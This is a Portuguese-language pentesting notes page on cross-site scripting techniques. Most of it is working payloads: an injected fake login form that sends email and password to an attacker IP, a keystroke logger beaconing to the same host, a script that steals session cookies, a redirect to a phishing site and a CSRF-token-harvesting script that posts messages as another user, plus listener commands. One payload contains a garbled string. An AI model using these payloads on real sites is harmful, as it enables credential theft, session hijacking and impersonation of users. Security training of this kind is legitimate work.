> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md).

# Técnicas de XSS

## XSS (Refletido):

> Refletido: Esse tipo de XSS ocorre quando dados fornecidos pelo usuário são refletidos na resposta HTTP sem validação adequada. Isso permite que um invasor injete código malicioso na resposta, que então é executado no navegador do usuário.

* Neste caso, podemos injetar código HTML como no exemplo abaixo: `teste <h1> Teste </h1>`:

<figure><img src="/files/7db4e24053c7b67df5a79a1ac671fe024ad3472c" alt="" width="563"><figcaption></figcaption></figure>

* Podemos ver que conseguimos modificar o tamanho do texto com o **h1** tag:

<figure><img src="/files/13bd50ea7fe0d6d5ea27996e60eb9d4a3538c00f" alt="" width="375"><figcaption></figcaption></figure>

## XSS (Armazenado):

> Armazenado: Esse tipo de XSS ocorre quando um invasor pode armazenar código malicioso em um banco de dados ou no servidor web que hospeda uma página vulnerável. Esse código é executado toda vez que a página é carregada. Se executarmos um script como o abaixo em um formulário, `<script>alert("XSS")</script>`, e recebermos o alerta abaixo, isso significa que o site é vulnerável a esse tipo de ataque:

<figure><img src="/files/8ef5803f21dca3f1826bb16b248e262c22188e5f" alt="" width="563"><figcaption></figcaption></figure>

Poderíamos redirecionar o usuário para um site vulnerável e realizar um ataque de phishing:

```javascript
<script>
window.location.href = "https://maliciouswebsite.com";
</script>

```

Este código JavaScript cria um formulário de login em uma página web e envia os dados inseridos (endereço de e-mail e senha) para um endereço IP especificado por meio de uma solicitação HTTP usando `fetch()`.

```javascript
<div id="formContainer">
<script>
    var email;
    var password;
    var form = '<form>' +
    'E-mail: <input type="email" id="email" required>' +
    ' Senha: <input type="password" id="password" required>'+
    '<input type="button" onclick="submitForm()" value="Enviar">' +
    '</form>';
    document.getElementById("formContainer").innerHTML = form;
    function submitForm() {
        email = document.getElementById("email").value;
        password = document.getElementById("password").value;
        fetch("http://192.168.71.128/?email=" + email + "&password=" + password);
    }
</script>

```

<figure><img src="/files/95fc0dd0c70ef24e9fb7245f8cb5e8bc24a9a814" alt="" width="563"><figcaption></figcaption></figure>

Escutamos na porta 80 com **python3**:

```bash
python3 -m http.server 80

```

<figure><img src="/files/fedffb9bc2a329b93aa2f4b0d864a3a3ac06b461" alt=""><figcaption></figcaption></figure>

## XSS (Baseado em DOM):

> Baseado em DOM: Esse tipo de XSS ocorre quando o código malicioso é executado no navegador do usuário via DOM (Document Object Model). Isso ocorre quando o código JavaScript em uma página web modifica o DOM de uma forma vulnerável à injeção de código malicioso. O script abaixo pode capturar todas as teclas digitadas pelo usuário e enviá-las para um **python3** servidor pela porta 80:

```javascript
<script>
	var k = "";
	document.onkeypress = function(e){
		e = e || window.event;
		k += e.key;
		var i = new Image();
		i.src = "http://192.168.71.128/" + k;
	}
</script>

```

Podemos escutar e filtrar apenas os caracteres de que precisamos com **grep**:

```bash
python3 -m http.server 80 2>&1 | grep -oP 'GET //K[^.*/s]+' | sed 's/%20//g'

```

<figure><img src="/files/f82021b19affddb38f655e54366029095310fa81" alt=""><figcaption></figcaption></figure>

***

Para obter o cookie de sessão de um servidor de terceiros, criamos este arquivo no nosso computador **test.js**

```javascript
var query = new XMLHttpRequest();
query.open('GET', 'http://192.168.71.128/?cookie=' + document.cookie);
query.send();

```

No formulário, enviamos este script:

```html
<script src="http://192.168.71.128/test.js"></script>

```

Escutamos e obtemos o cookie de sessão do usuário:

<figure><img src="/files/3051e50d93313493dede5c4dd4de26cf3418821a" alt=""><figcaption></figcaption></figure>

Para escrever algo no nome de outra pessoa, poderíamos seguir os passos abaixo: Intercepte a requisição com [Burp Suite](/pt-br/hacking-tools/web/burpsuite.md) e copie o conteúdo destacado em vermelho:

<figure><img src="/files/d3664cfc8e806db6b81d95b849a034d7a8c5cab8" alt="" width="563"><figcaption></figcaption></figure>

O script abaixo realiza uma **GET** solicitação para uma URL local, analisa a resposta HTML para identificar um **CSRF** token, então realiza uma solicitação POST com dados que incluem o token CSRF para a mesma URL. A variável codificada em URL `dados` envia as informações para o servidor onde este script está implementado. É essencial modificar os `dados` valores, o token e o endereço IP.

```javascript
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials = true;
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/htmthe );
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=My%20boss%20is%20a%20bastard%21%21&subtitle=I%20hate%20my%20job&text=you%20make%20me%20SICK%0A&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);

```

No formulário, enviamos este script:

```javascript
<script src="http://192.168.71.128/pwned.js"><script>

```

Escutamos na porta 80 com python3:

<figure><img src="/files/2e99399afd2804b7fcd36dd4f4e21e28a524a2e4" alt=""><figcaption></figcaption></figure>

A mensagem **enviada em nome de outro usuário** foi transmitida:

<figure><img src="/files/3c49f396581040ab2c217605d32ae062f6b74449" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
